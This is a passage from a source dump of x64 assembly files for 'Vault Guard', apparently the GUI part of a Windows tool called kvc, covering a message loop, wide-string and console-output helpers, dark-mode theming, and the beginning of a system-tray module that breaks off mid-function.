; Returns to caller when window is closed (does NOT call ExitProcess).
;
; Stack: entry rsp%16=8 (called via CALL, return address pushed).
;        sub 58h (88) → rsp%16=0 ✓
; MSG at [rsp+20h] (48 bytes)
; ==============================================================================
PUBLIC VgGuiMain
VgGuiMain proc
    sub     rsp, 58h

    ; Attach console if stdin is a real console (for any diagnostic output)
    mov     ecx, STD_OUTPUT_HANDLE
    call    GetStdHandle
    test    rax, rax
    jz      @vg_attach
    cmp     rax, INVALID_HANDLE_VALUE
    je      @vg_attach
    mov     rcx, rax
    call    GetFileType
    cmp     eax, FILE_TYPE_CHAR
    jne     @vg_no_attach
@vg_attach:
    mov     ecx, ATTACH_PARENT_PROCESS
    call    AttachConsole
@vg_no_attach:

    xor     ecx, ecx                ; lpModuleName = NULL -> this EXE
    call    GetModuleHandleW
    mov     g_hInstance, rax        ; store hInstance for class registration

    ; InitCommonControlsEx - loads ComCtl32 v6, registers ListView/TreeView/etc.
    mov     dword ptr [rsp+50h], 8      ; INITCOMMONCONTROLSEX.dwSize = 8
    mov     dword ptr [rsp+54h], 4100h  ; dwICC = ICC_STANDARD_CLASSES|ICC_LISTVIEW_CLASSES
    lea     rcx, [rsp+50h]
    call    InitCommonControlsEx

    call    CreateMainWindow        ; register class, create window, show
    test    rax, rax
    jz      @vg_exit                ; NULL = creation failed

    cmp     g_startMinimized, 0
    je      @vg_loop
    mov     rcx, rax                ; hwnd
    call    _TrayAdd                ; hide to tray immediately

@vg_loop:
    lea     rcx, [rsp+20h]          ; lpMsg
    xor     edx, edx                ; hWnd = NULL (all windows)
    xor     r8d, r8d
    xor     r9d, r9d
    call    GetMessageW
    test    eax, eax
    jz      @vg_exit                ; WM_QUIT
    js      @vg_exit                ; error

    lea     rcx, [rsp+20h]
    call    TranslateMessage

    lea     rcx, [rsp+20h]
    call    DispatchMessageW

    jmp     @vg_loop

@vg_exit:
    add     rsp, 58h
    ret                             ; return to kvc.cpp, do not ExitProcess
VgGuiMain endp

end

<<<FILE: kvc/vg/strutil.asm>>>
Created:  2026-05-27 18:51:26
Modified: 2026-05-25 01:37:08
Size:     12.09 KB
; ==============================================================================
; Vault Guard - String Utilities
;
; Author: Marek Wesołowski (wesmar)
; Functions:
;   wcscpy_p(dst, src)          — wide strcpy, returns dst
;   wcscat_p(dst, src)          — wide strcat, returns dst
;   wcscmp_ci(a, b)             — wide strcmp case-insensitive, 0=equal/nonzero=diff
;   wcs_ascii_lower_inplace(s)  — lowercase ASCII A-Z in a wide string
;   wcslen_p(s)                 — wide strlen, returns char count (not bytes)
;   IntToDecW(val, buf)         — DWORD → wide decimal string, returns ptr past last char
;   IntToHexW(val, buf)         — DWORD → 8-char wide hex string, returns ptr past last char
;   WideWriteConsole(handle, s) — write wide string to console or ASCII pipe
;   WideWriteLn(s)              — write wide string + CRLF to stdout
; ==============================================================================

option casemap:none

include consts.inc

EXTRN WriteFile             :PROC
EXTRN WriteConsoleW         :PROC
EXTRN GetStdHandle          :PROC
EXTRN CharLowerW            :PROC
EXTRN WriteConsoleInputW    :PROC

.data?
    wcc_written dd ?    ; scratch for WriteFile lpNumberOfBytesWritten
    ansi_out_buf db 4096 dup(?)

.code

; ==============================================================================
; wcscpy_p  rcx=dst  rdx=src  → rax=dst
; Stack: entry rsp%16=8; sub 28h → rsp%16=0 ✓
; ==============================================================================
PUBLIC wcscpy_p
wcscpy_p proc
    sub     rsp, 28h
    mov     rax, rcx        ; save dst
@wcp_loop:
    mov     r10w, word ptr [rdx]
    mov     word ptr [rcx], r10w
    test    r10w, r10w
    jz      @wcp_done
    add     rcx, 2
    add     rdx, 2
    jmp     @wcp_loop
@wcp_done:
    add     rsp, 28h
    ret
wcscpy_p endp

; ==============================================================================
; wcscat_p  rcx=dst  rdx=src  → rax=dst
; Stack: entry rsp%16=8; sub 28h → rsp%16=0 ✓
; ==============================================================================
PUBLIC wcscat_p
wcscat_p proc
    sub     rsp, 28h
    mov     rax, rcx
@wccat_find_end:
    cmp     word ptr [rcx], 0
    je      @wccat_copy
    add     rcx, 2
    jmp     @wccat_find_end
@wccat_copy:
    mov     r10w, word ptr [rdx]
    mov     word ptr [rcx], r10w
    test    r10w, r10w
    jz      @wccat_done
    add     rcx, 2
    add     rdx, 2
    jmp     @wccat_copy
@wccat_done:
    add     rsp, 28h
    ret
wcscat_p endp

; ==============================================================================
; wcslen_p  rcx=str  → rax=char count (not bytes)
; Stack: entry rsp%16=8; sub 28h → rsp%16=0 ✓
; ==============================================================================
PUBLIC wcslen_p
wcslen_p proc
    sub     rsp, 28h
    xor     rax, rax
@wlen_loop:
    cmp     word ptr [rcx + rax*2], 0
    je      @wlen_done
    inc     rax
    jmp     @wlen_loop
@wlen_done:
    add     rsp, 28h
    ret
wcslen_p endp

; ==============================================================================
; wcs_ascii_lower_inplace  rcx=str  → rax=str
; Lowercases ASCII A-Z only. Good for Win32 process image names used by driver.
; Stack: entry rsp%16=8; sub 28h → rsp%16=0 ✓
; ==============================================================================
PUBLIC wcs_ascii_lower_inplace
wcs_ascii_lower_inplace proc
    sub     rsp, 28h
    mov     rax, rcx
@wali_loop:
    movzx   edx, word ptr [rcx]
    test    dx, dx
    jz      @wali_done
    cmp     edx, 'A'
    jb      @wali_next
    cmp     edx, 'Z'
    ja      @wali_next
    add     edx, 20h
    mov     word ptr [rcx], dx
@wali_next:
    add     rcx, 2
    jmp     @wali_loop
@wali_done:
    add     rsp, 28h
    ret
wcs_ascii_lower_inplace endp

; ==============================================================================
; wcscmp_ci  rcx=a  rdx=b  -> rax=0 equal, nonzero diff
; ASCII case-insensitive wide compare for switches/modes.
; Stack: entry rsp%16=8; push rbx,rsi,rdi -> 8; sub 20h -> rsp%16=0
; ==============================================================================
PUBLIC wcscmp_ci
wcscmp_ci proc
    push    rbx
    push    rsi
    push    rdi
    sub     rsp, 20h

    mov     rsi, rcx        ; a
    mov     rdi, rdx        ; b

@wcci_loop:
    movzx   eax, word ptr [rsi]
    movzx   ebx, word ptr [rdi]

    cmp     eax, 'A'
    jb      @wcci_a_done
    cmp     eax, 'Z'
    ja      @wcci_a_done
    add     eax, 20h
@wcci_a_done:
    cmp     ebx, 'A'
    jb      @wcci_b_done
    cmp     ebx, 'Z'
    ja      @wcci_b_done
    add     ebx, 20h
@wcci_b_done:

    cmp     ax, bx
    jne     @wcci_diff

    test    ax, ax
    jz      @wcci_equal

    add     rsi, 2
    add     rdi, 2
    jmp     @wcci_loop

@wcci_equal:
    xor     eax, eax
    jmp     @wcci_ret

@wcci_diff:
    mov     eax, 1

@wcci_ret:
    add     rsp, 20h
    pop     rdi
    pop     rsi
    pop     rbx
    ret
wcscmp_ci endp

; ==============================================================================
; IntToDecW  rcx=val(DWORD)  rdx=buf(WCHAR*)  → rax=ptr past null terminator
;
; Converts unsigned DWORD to wide decimal string. buf must be ≥ 12 WCHARs.
; Stack: entry rsp%16=8; push rbx,rsi → 8; sub 20h → rsp%16=0 ✓
; ==============================================================================
PUBLIC IntToDecW
IntToDecW proc
    push    rbx
    push    rsi
    sub     rsp, 20h

    mov     rbx, rdx        ; buf start
    mov     rsi, rdx        ; write ptr

    ; special case: 0
    test    ecx, ecx
    jnz     @itd_nonzero
    mov     word ptr [rsi], '0'
    add     rsi, 2
    mov     word ptr [rsi], 0
    lea     rax, [rsi+2]
    jmp     @itd_ret

@itd_nonzero:
    ; Write digits in reverse into buf
    mov     eax, ecx
@itd_loop:
    xor     edx, edx
    mov     r10d, 10
    div     r10d            ; eax=quot, edx=rem
    add     edx, '0'
    mov     word ptr [rsi], dx
    add     rsi, 2
    test    eax, eax
    jnz     @itd_loop

    ; null terminate
    mov     word ptr [rsi], 0
    mov     r11, rsi        ; save end ptr

    ; reverse rbx..rsi-2
    lea     rsi, [rsi-2]    ; point to last digit
@itd_rev:
    cmp     rbx, rsi
    jge     @itd_rev_done
    mov     ax, word ptr [rbx]
    mov     r10w, word ptr [rsi]
    mov     word ptr [rbx], r10w
    mov     word ptr [rsi], ax
    add     rbx, 2
    sub     rsi, 2
    jmp     @itd_rev
@itd_rev_done:
    lea     rax, [r11+2]    ; ptr past null

@itd_ret:
    add     rsp, 20h
    pop     rsi
    pop     rbx
    ret
IntToDecW endp

; ==============================================================================
; IntToHexW  rcx=val(DWORD)  rdx=buf(WCHAR*)  → rax=ptr past null
; Writes exactly 8 wide hex digits, no prefix.
; Stack: entry rsp%16=8; sub 28h → rsp%16=0 ✓
; ==============================================================================
PUBLIC IntToHexW
IntToHexW proc
    sub     rsp, 28h
    mov     rax, rcx        ; value
    lea     r10, hex_digits
    mov     r11, rdx        ; buf
    mov     ecx, 28         ; start shift (7*4)
@ihex_loop:
    mov     rdx, rax
    shr     rdx, cl
    and     rdx, 0Fh
    movzx   edx, byte ptr [r10 + rdx]
    mov     word ptr [r11], dx
    add     r11, 2
    sub     ecx, 4
    jns     @ihex_loop
    mov     word ptr [r11], 0
    lea     rax, [r11+2]
    add     rsp, 28h
    ret
IntToHexW endp

; ==============================================================================
; WideWriteConsole  rcx=handle  rdx=wide_str  -> void
; Stack: entry rsp%16=8; push rbx,rsi,rdi -> 0; sub 30h -> rsp%16=0
; ==============================================================================
PUBLIC WideWriteConsole
WideWriteConsole proc
    push    rbx
    push    rsi
    push    rdi
    sub     rsp, 30h

    mov     rbx, rcx        ; handle
    mov     rsi, rdx        ; str

    ; compute length
    mov     rcx, rsi
    call    wcslen_p
    test    rax, rax
    jz      @wwc_done
    mov     edi, eax

    mov     qword ptr [rsp+20h], 0  ; lpOverlapped = NULL
    lea     r9, wcc_written         ; lpNumberOfBytesWritten
    mov     r8d, eax                ; nNumberOfCharsToWrite
    mov     rdx, rsi                ; lpBuffer
    mov     rcx, rbx                ; hFile
    call    WriteConsoleW
    test    eax, eax
    jnz     @wwc_done

    ; Redirected output is not a console. Help/status text is ASCII, so emit
    ; low bytes as a readable fallback instead of UTF-16 with embedded NULs.
    mov     ecx, edi
    cmp     ecx, 4095
    jbe     @wwc_count_ok
    mov     ecx, 4095
@wwc_count_ok:
    mov     edi, ecx
    lea     r10, ansi_out_buf
    mov     r11, rsi

@wwc_ascii_loop:
    test    ecx, ecx
    jz      @wwc_write_ascii
    mov     ax, word ptr [r11]
    cmp     ax, 80h
    jb      @wwc_ascii_store
    mov     al, '?'
@wwc_ascii_store:
    mov     byte ptr [r10], al
    add     r11, 2
    inc     r10
    dec     ecx
    jmp     @wwc_ascii_loop

@wwc_write_ascii:
    mov     qword ptr [rsp+20h], 0
    lea     r9, wcc_written
    mov     r8d, edi
    lea     rdx, ansi_out_buf
    mov     rcx, rbx
    call    WriteFile

@wwc_done:
    add     rsp, 30h
    pop     rdi
    pop     rsi
    pop     rbx
    ret
WideWriteConsole endp

; ==============================================================================
; WideWriteLn  rcx=wide_str  -> write str + CRLF to stdout
; Stack: entry rsp%16=8; push rbx,rsi -> 8; sub 28h -> rsp%16=0
; ==============================================================================
PUBLIC WideWriteLn
WideWriteLn proc
    push    rbx
    push    rsi
    sub     rsp, 28h

    mov     rsi, rcx

    mov     ecx, STD_OUTPUT_HANDLE
    call    GetStdHandle
    mov     rbx, rax

    mov     rdx, rsi
    mov     rcx, rbx
    call    WideWriteConsole

    lea     rdx, str_crlf
    mov     rcx, rbx
    call    WideWriteConsole

    add     rsp, 28h
    pop     rsi
    pop     rbx
    ret
WideWriteLn endp

; ==============================================================================
; ConsoleSendEnter  →  void
; Injects a fake Enter keypress into the console input buffer so that the
; parent CMD prompt reappears after AttachConsole + ExitProcess without the
; user having to press Enter manually.
; Stack: entry rsp%16=8; push rbx,rsi (+16)→8; sub 38h (+56)→0 ✓
; INPUT_RECORD layout at [rsp+20h]:
;   +0  WORD EventType = KEY_EVENT (1)
;   +2  WORD padding
;   +4  DWORD bKeyDown = 1
;   +8  WORD wRepeatCount = 1
;   +A  WORD wVirtualKeyCode = VK_RETURN
;   +C  WORD wVirtualScanCode = ENTER_SCAN
;   +E  WORD uChar.UnicodeChar = '\r'
;  +10  DWORD dwControlKeyState = 0
; Total: 20 bytes → [rsp+20h..rsp+33h]
; written DWORD at [rsp+34h]
; ==============================================================================
PUBLIC ConsoleSendEnter
ConsoleSendEnter proc
    push    rbx
    push    rsi
    sub     rsp, 38h

    mov     ecx, STD_INPUT_HANDLE
    call    GetStdHandle
    test    rax, rax
    jz      @cse_done
    cmp     rax, INVALID_HANDLE_VALUE
    je      @cse_done
    mov     rbx, rax                        ; hConIn

    xor     eax, eax
    mov     qword ptr [rsp+20h], rax
    mov     qword ptr [rsp+28h], rax
    mov     dword ptr [rsp+30h], eax        ; dwControlKeyState
    mov     dword ptr [rsp+34h], eax        ; written

    mov     word ptr [rsp+20h], KEY_EVENT_ID
    mov     dword ptr [rsp+24h], 1          ; bKeyDown = TRUE
    mov     word ptr [rsp+28h], 1           ; wRepeatCount
    mov     word ptr [rsp+2Ah], VK_RETURN   ; wVirtualKeyCode
    mov     word ptr [rsp+2Ch], ENTER_SCAN  ; wVirtualScanCode
    mov     word ptr [rsp+2Eh], VK_RETURN   ; uChar.UnicodeChar

    lea     r9, [rsp+34h]                   ; lpNumberOfEventsWritten
    mov     r8d, 1                          ; nLength
    lea     rdx, [rsp+20h]                  ; lpBuffer (INPUT_RECORD)
    mov     rcx, rbx
    call    WriteConsoleInputW

@cse_done:
    add     rsp, 38h
    pop     rsi
    pop     rbx
    ret
ConsoleSendEnter endp

; ==============================================================================
; CONST DATA
; ==============================================================================
.const

hex_digits  db '0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F'
str_crlf    dw 0Dh, 0Ah, 0

end

<<<FILE: kvc/vg/theme.asm>>>
Created:  2026-05-27 18:51:26
Modified: 2026-05-25 01:37:08
Size:     11.87 KB
; ==============================================================================
; Vault Guard - Theme / Appearance
;
; Author: Marek Wesołowski (wesmar)
; Purpose: DWM dark mode, Mica backdrop, font creation, WM_SETFONT helper.
;
; Exported:
;   _ReadDarkMode()          → void   [reads HKCU AppsUseLightTheme → g_isDarkMode]
;   ApplyDarkMode(rcx=hwnd)  → void
;   CreateFonts()            → void   [writes g_hFontMain, g_hFontSmall]
;   _SendFont(rcx=hwnd, rdx=hFont)  → void
; ==============================================================================

option casemap:none

include consts.inc
include globals.inc

EXTRN DwmSetWindowAttribute     :PROC
EXTRN CreateFontW               :PROC
EXTRN SendMessageW              :PROC
EXTRN RegOpenKeyExW             :PROC
EXTRN RegQueryValueExW          :PROC
EXTRN RegCloseKey               :PROC
EXTRN CreateSolidBrush          :PROC
EXTRN DeleteObject              :PROC
EXTRN GetSysColor               :PROC
EXTRN SetWindowTheme            :PROC

; ==============================================================================
; CONSTANT STRINGS
; ==============================================================================
.const

str_fontname        dw 'S','e','g','o','e',' ','U','I',0
str_dark_explorer   dw 'D','a','r','k','M','o','d','e','_','E','x','p','l','o','r','e','r',0

; Registry path: HKCU\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize
str_reg_themes_key  dw 'S','o','f','t','w','a','r','e','\','M','i','c','r','o','s','o','f','t'
                    dw '\','W','i','n','d','o','w','s','\','C','u','r','r','e','n','t','V','e','r'
                    dw 's','i','o','n','\','T','h','e','m','e','s','\','P','e','r','s','o','n'
                    dw 'a','l','i','z','e',0

; Value name: AppsUseLightTheme  (0=dark, 1=light)
str_reg_light_val   dw 'A','p','p','s','U','s','e','L','i','g','h','t','T','h','e','m','e',0

; ==============================================================================
; UNINITIALIZED DATA  (scratch for _ReadDarkMode)
; ==============================================================================
.data?

rdm_hkey    dq ?
rdm_val     dd ?
rdm_vtype   dd ?
rdm_vsize   dd ?

; ==============================================================================
; CODE
; ==============================================================================
.code

PUBLIC _ReadDarkMode
PUBLIC ApplyDarkMode
PUBLIC CreateFonts
PUBLIC _SendFont
PUBLIC _SetLvColors
PUBLIC _ApplyThemeColors

; ==============================================================================
; _ReadDarkMode  →  void
; Reads HKCU\...\Themes\Personalize\AppsUseLightTheme
; AppsUseLightTheme DWORD: 0 = dark, 1 = light
; Sets g_isDarkMode: 1 = dark, 0 = light
; Falls back to dark on any registry error.
;
; Stack: entry rsp%16=8; push rbx,rsi,rdi,r12 (+32)→8; sub 38h (+56)→0 ✓
; RegOpenKeyExW  5 args: rcx,rdx,r8,r9,[+20h]
; RegQueryValueExW 6 args: rcx,rdx,r8,r9,[+20h],[+28h]
; ==============================================================================
_ReadDarkMode proc
    push    rbx
    push    rsi
    push    rdi
    push    r12
    sub     rsp, 38h

    ; RegOpenKeyExW(HKCU, str_reg_themes_key, 0, KEY_READ, &rdm_hkey)
    lea     rax, rdm_hkey
    mov     qword ptr [rsp+20h], rax
    mov     r9d, KEY_READ
    xor     r8d, r8d
    lea     rdx, str_reg_themes_key
    mov     rcx, HKEY_CURRENT_USER
    call    RegOpenKeyExW
    test    eax, eax
    jnz     @rdm_default_dark

    ; RegQueryValueExW(rdm_hkey, str_reg_light_val, NULL, &rdm_vtype, &rdm_val, &rdm_vsize)
    mov     dword ptr rdm_vsize, 4
    lea     rax, rdm_vsize
    mov     qword ptr [rsp+28h], rax
    lea     rax, rdm_val
    mov     qword ptr [rsp+20h], rax
    lea     r9, rdm_vtype
    xor     r8d, r8d
    lea     rdx, str_reg_light_val
    mov     rcx, rdm_hkey
    call    RegQueryValueExW
    mov     rbx, rax            ; save return code

    ; RegCloseKey(rdm_hkey)
    mov     rcx, rdm_hkey
    call    RegCloseKey

    test    ebx, ebx
    jnz     @rdm_default_dark

    ; AppsUseLightTheme 0 → dark (g_isDarkMode=1), non-zero → light (g_isDarkMode=0)
    mov     eax, dword ptr rdm_val
    test    eax, eax
    jnz     @rdm_light
    mov     g_isDarkMode, 1
    jmp     @rdm_done

@rdm_light:
    mov     g_isDarkMode, 0
    jmp     @rdm_done

@rdm_default_dark:
    mov     g_isDarkMode, 1

@rdm_done:
    add     rsp, 38h
    pop     r12
    pop     rdi
    pop     rsi
    pop     rbx
    ret
_ReadDarkMode endp

; ==============================================================================
; ApplyDarkMode  rcx=hwnd  →  void
; Sets DWM title-bar dark/light based on g_isDarkMode (1=dark, 0=light).
; Mica backdrop is always applied (looks fine in both modes).
;
; Stack: entry rsp%16=8; push rbx,rsi (+16)→8; sub 28h (+40)→0 ✓
; ==============================================================================
ApplyDarkMode proc
    push    rbx
    push    rsi
    sub     rsp, 28h

    mov     rbx, rcx

    ; DWMWA_USE_IMMERSIVE_DARK_MODE (attr 20) — Windows 11
    ; value = g_isDarkMode: 1 = enable dark title bar, 0 = light
    mov     eax, g_isDarkMode
    mov     dword ptr [rsp+20h], eax
    mov     r9d, 4
    lea     r8, [rsp+20h]
    mov     edx, DWMWA_USE_IMMERSIVE_DARK_MODE
    mov     rcx, rbx
    call    DwmSetWindowAttribute

    ; Legacy attr 19 for older builds
    mov     eax, g_isDarkMode
    mov     dword ptr [rsp+20h], eax
    mov     r9d, 4
    lea     r8, [rsp+20h]
    mov     edx, DWMWA_USE_IMMERSIVE_DARK_MODE_OLD
    mov     rcx, rbx
    call    DwmSetWindowAttribute

    ; Mica DWMWA_SYSTEMBACKDROP_TYPE = DWMSBT_MAINWINDOW (2)
    mov     dword ptr [rsp+20h], DWMSBT_MAINWINDOW
    mov     r9d, 4
    lea     r8, [rsp+20h]
    mov     edx, DWMWA_SYSTEMBACKDROP_TYPE
    mov     rcx, rbx
    call    DwmSetWindowAttribute

    add     rsp, 28h
    pop     rsi
    pop     rbx
    ret
ApplyDarkMode endp

; ==============================================================================
; CreateFonts  →  void
; Stack: entry rsp%16=8; push rbx,rsi (+16)→8; sub 78h (+120)→0 ✓
; CreateFontW: 14 args → rcx..r9 (4) + 10 stack slots = [+20h..+68h]
; ==============================================================================
CreateFonts proc
    push    rbx
    push    rsi
    sub     rsp, 78h

    ; Segoe UI 18pt bold — main labels
    lea     rax, str_fontname
    mov     qword ptr [rsp+68h], rax    ; lpszFace
    mov     dword ptr [rsp+60h], 0      ; iPitchAndFamily
    mov     dword ptr [rsp+58h], 5      ; iQuality = CLEARTYPE_QUALITY
    mov     dword ptr [rsp+50h], 0      ; iClipPrecision
    mov     dword ptr [rsp+48h], 0      ; iOutPrecision
    mov     dword ptr [rsp+40h], 1      ; iCharSet = DEFAULT_CHARSET
    mov     dword ptr [rsp+38h], 0      ; bStrikeOut
    mov     dword ptr [rsp+30h], 0      ; bUnderline
    mov     dword ptr [rsp+28h], 0      ; bItalic
    mov     dword ptr [rsp+20h], 600    ; cWeight = FW_SEMIBOLD
    xor     r9d, r9d                    ; cOrientation
    xor     r8d, r8d                    ; cEscapement
    xor     edx, edx                    ; cWidth
    mov     ecx, -18                    ; cHeight (negative = char height)
    call    CreateFontW
    mov     g_hFontMain, rax

    ; Segoe UI 14pt normal — list items, buttons
    lea     rax, str_fontname
    mov     qword ptr [rsp+68h], rax
    mov     dword ptr [rsp+60h], 0
    mov     dword ptr [rsp+58h], 5
    mov     dword ptr [rsp+50h], 0
    mov     dword ptr [rsp+48h], 0
    mov     dword ptr [rsp+40h], 1
    mov     dword ptr [rsp+38h], 0
    mov     dword ptr [rsp+30h], 0
    mov     dword ptr [rsp+28h], 0
    mov     dword ptr [rsp+20h], 400    ; FW_NORMAL
    xor     r9d, r9d
    xor     r8d, r8d
    xor     edx, edx
    mov     ecx, -14
    call    CreateFontW
    mov     g_hFontSmall, rax

    add     rsp, 78h
    pop     rsi
    pop     rbx
    ret
CreateFonts endp

; ==============================================================================
; _SendFont  rcx=hwnd  rdx=hFont  →  void
; Sends WM_SETFONT (lParam=1 = redraw)
; Stack: entry rsp%16=8; push rbx,rsi (+16)→8; sub 28h (+40)→0 ✓
; ==============================================================================
_SendFont proc
    push    rbx
    push    rsi
    sub     rsp, 28h
    mov     r9d, 1              ; lParam = redraw
    mov     r8, rdx             ; wParam = hFont
    mov     edx, WM_SETFONT
    call    SendMessageW        ; rcx = hwnd already
    add     rsp, 28h
    pop     rsi
    pop     rbx
    ret
_SendFont endp

; ==============================================================================
; _SetLvColors  rcx=hwndLv  rdx=isDark  →  void
; Sets SetWindowTheme + LVM text/bg colors for one ListView.
; Stack: entry rsp%16=8; push rbx,rsi (+16)→8; sub 28h (+40)→0 ✓
; ==============================================================================
_SetLvColors proc
    push    rbx
    push    rsi
    sub     rsp, 28h

    mov     rbx, rcx           ; hwndLv
    mov     esi, edx           ; isDark

    ; SetWindowTheme
    xor     r8d, r8d
    test    esi, esi
    jz      @slc_theme_light
    lea     rdx, str_dark_explorer
    jmp     @slc_theme_call
@slc_theme_light:
    xor     edx, edx
@slc_theme_call:
    mov     rcx, rbx
    call    SetWindowTheme

    ; LVM_SETTEXTCOLOR
    test    esi, esi
    jz      @slc_tc_light
    mov     r9d, COLORREF_DARK_TEXT
    jmp     @slc_tc_call
@slc_tc_light:
    mov     r9d, CLR_DEFAULT
@slc_tc_call:
    xor     r8d, r8d
    mov     edx, LVM_SETTEXTCOLOR
    mov     rcx, rbx
    call    SendMessageW

    ; LVM_SETTEXTBKCOLOR
    test    esi, esi
    jz      @slc_tbk_light
    mov     r9d, COLORREF_DARK_LV_BG
    jmp     @slc_tbk_call
@slc_tbk_light:
    mov     r9d, CLR_DEFAULT
@slc_tbk_call:
    xor     r8d, r8d
    mov     edx, LVM_SETTEXTBKCOLOR
    mov     rcx, rbx
    call    SendMessageW

    ; LVM_SETBKCOLOR
    test    esi, esi
    jz      @slc_bk_light
    mov     r9d, COLORREF_DARK_LV_BG
    jmp     @slc_bk_call
@slc_bk_light:
    mov     r9d, CLR_DEFAULT
@slc_bk_call:
    xor     r8d, r8d
    mov     edx, LVM_SETBKCOLOR
    mov     rcx, rbx
    call    SendMessageW

    add     rsp, 28h
    pop     rsi
    pop     rbx
    ret
_SetLvColors endp

; ==============================================================================
; _ApplyThemeColors  →  void
; Recreates g_hBrushBg, calls _SetLvColors for both ListViews.
; Stack: entry rsp%16=8; push rbx,rsi (+16)→8; sub 28h (+40)→0 ✓
; ==============================================================================
_ApplyThemeColors proc
    push    rbx
    push    rsi
    sub     rsp, 28h

    ; ── Background brush ────────────────────────────────────────────────────
    mov     rcx, g_hBrushBg
    test    rcx, rcx
    jz      @atc_create_brush
    call    DeleteObject
    xor     eax, eax
    mov     g_hBrushBg, rax

@atc_create_brush:
    cmp     g_isDarkMode, 0
    je      @atc_light_brush
    mov     ecx, COLORREF_DARK_BG
    call    CreateSolidBrush
    jmp     @atc_brush_done

@atc_light_brush:
    mov     ecx, COLOR_WINDOW_VAL
    call    GetSysColor
    mov     ecx, eax
    call    CreateSolidBrush

@atc_brush_done:
    mov     g_hBrushBg, rax

    ; ── Paths ListView ──────────────────────────────────────────────────────
    mov     rcx, g_hwndLvPaths
    test    rcx, rcx
    jz      @atc_done
    mov     edx, g_isDarkMode
    call    _SetLvColors

    ; ── Trusted ListView ────────────────────────────────────────────────────
    mov     rcx, g_hwndLvTrusted
    test    rcx, rcx
    jz      @atc_done
    mov     edx, g_isDarkMode
    call    _SetLvColors

@atc_done:
    add     rsp, 28h
    pop     rsi
    pop     rbx
    ret
_ApplyThemeColors endp

end

<<<FILE: kvc/vg/tray.asm>>>
Created:  2026-05-27 22:25:27
Modified: 2026-05-27 22:25:27
Size:     10.93 KB
; ==============================================================================
; Vault Guard - System Tray
;
; Author: Marek Wesolowski (wesmar)
; Purpose: Tray icon management. Shift+Minimize hides to tray.
;          Double-click or menu Restore brings window back.
;
; Exported:
;   _TrayAdd(hwnd)    - load icon, add to tray, SW_HIDE window
;   _TrayRemove(hwnd) - NIM_DELETE, SW_RESTORE window
;   _OnTrayMsg(rcx=hwnd, rdx=lParam) - dispatch tray mouse events
; ==============================================================================

option casemap:none

include consts.inc
include globals.inc

; ---- Win32 ------------------------------------------------------------------
EXTRN Shell_NotifyIconW     :PROC
EXTRN LoadIconW             :PROC
EXTRN LoadLibraryExW        :PROC
EXTRN FreeLibrary           :PROC
EXTRN LoadImageW            :PROC
EXTRN ShowWindow            :PROC
EXTRN CreatePopupMenu       :PROC
EXTRN AppendMenuW           :PROC
EXTRN TrackPopupMenu        :PROC
EXTRN DestroyMenu           :PROC
EXTRN SetForegroundWindow   :PROC
EXTRN GetCursorPos          :PROC
EXTRN DestroyWindow         :PROC
EXTRN PostMessageW          :PROC

; ==============================================================================
; DATA
; ==============================================================================
.data
align 8

g_trayVisible   dd 0
                dd 0                    ; pad to 8

; NOTIFYICONDATAW v1 (168 bytes on x64):
;   [+0]   DWORD  cbSize
;   [+4]   DWORD  (pad)
;   [+8]   QWORD  hWnd
;   [+16]  DWORD  uID
;   [+20]  DWORD  uFlags
;   [+24]  DWORD  uCallbackMessage
;   [+28]  DWORD  (pad)
;   [+32]  QWORD  hIcon
;   [+40]  WCHAR[64] szTip
tray_nid        dd NID_CBSIZE           ; cbSize = 168
                dd 0                    ; pad
                dq 0                    ; hWnd     (set at runtime)
                dd 1                    ; uID
                dd (NIF_MESSAGE + NIF_ICON + NIF_TIP)
                dd WM_TRAY              ; uCallbackMessage
                dd 0                    ; pad
                dq 0                    ; hIcon    (set at runtime)
                dw 'V','a','u','l','t','G','u','a','r','d',0
                db 106 dup (0)          ; szTip remainder (128-22 = 106 bytes)

str_tray_restore dw 'R','e','s','t','o','r','e',0
str_tray_exit    dw 'E','x','i','t',0

; C:\Windows\SystemResources\imageres.dll.mun  (direct load, PowerShell-confirmed ResourceID 1304)
str_imageres dw 'C',':','\','W','i','n','d','o','w','s','\','S','y','s','t','e','m','R','e','s','o','u','r','c','e','s','\','i','m','a','g','e','r','e','s','.','d','l','l','.','m','u','n',0

; ==============================================================================
; CODE
; ==============================================================================
.code

; ==============================================================================
; _TrayAdd  rcx=hwnd  ->  void
;
; Loads tray icon: LoadLibraryExW on imageres.dll.mun (direct path, no MUI
; needed), then LoadImageW ResourceID 1304 (golden padlock, Win11).
; LR_DEFAULTCOLOR = standalone copy - survives FreeLibrary.
; Falls back to IDI_ICON1 then IDI_APPLICATION.
;
; Stack: entry rsp%16=8; push rbx (+8)->0; push rsi (+8)->8; push rdi (+8)->0; sub 30h (+48)->0
;   [rsp+00..1F] shadow space
;   [rsp+20h]    LoadImageW 5th arg (cy=16)
;   [rsp+28h]    LoadImageW 6th arg (fuLoad=0)
; ==============================================================================
PUBLIC _TrayAdd
_TrayAdd proc
    push    rbx
    push    rsi
    push    rdi
    sub     rsp, 30h

    mov     rbx, rcx                    ; rbx = hwnd

    ; LoadLibraryExW(mun_path, NULL, LOAD_LIBRARY_AS_DATAFILE_EXCLUSIVE|LOAD_LIBRARY_AS_IMAGE_RESOURCE)
    ; ExtractIconExW bypassed: imageres.dll is a stub on Win11, MUI routing not
    ; applied at PE-parse level, returns 0. Direct .mun load is reliable.
    mov     r8d, 60h                    ; 0x40 LOAD_LIBRARY_AS_DATAFILE_EXCLUSIVE | 0x20 LOAD_LIBRARY_AS_IMAGE_RESOURCE
    xor     edx, edx                    ; hFile = NULL
    lea     rcx, str_imageres
    call    LoadLibraryExW
    mov     rsi, rax                    ; rsi = hMod
    test    rsi, rsi
    jz      @ta_fallback

    ; LoadImageW(hMod, 1304, IMAGE_ICON=1, cx=16, cy=16, LR_DEFAULTCOLOR=0)
    mov     dword ptr [rsp+28h], 0      ; fuLoad = LR_DEFAULTCOLOR
    mov     dword ptr [rsp+20h], 16     ; cyDesired = 16
    mov     r9d,  16                    ; cxDesired = 16
    mov     r8d,  1                     ; uType = IMAGE_ICON
    mov     edx,  1304                  ; MAKEINTRESOURCEW(1304)
    mov     rcx,  rsi                   ; hModule
    call    LoadImageW
    mov     rdi,  rax                   ; rdi = hIcon

    mov     rcx,  rsi
    call    FreeLibrary                 ; module unneeded after icon copy made

    test    rdi, rdi
    jnz     @ta_icon_ok

    ; --- Fallback: IDI_ICON1 from own resources ---
@ta_fallback:
    mov     edx, IDI_ICON1
    mov     rcx, g_hInstance
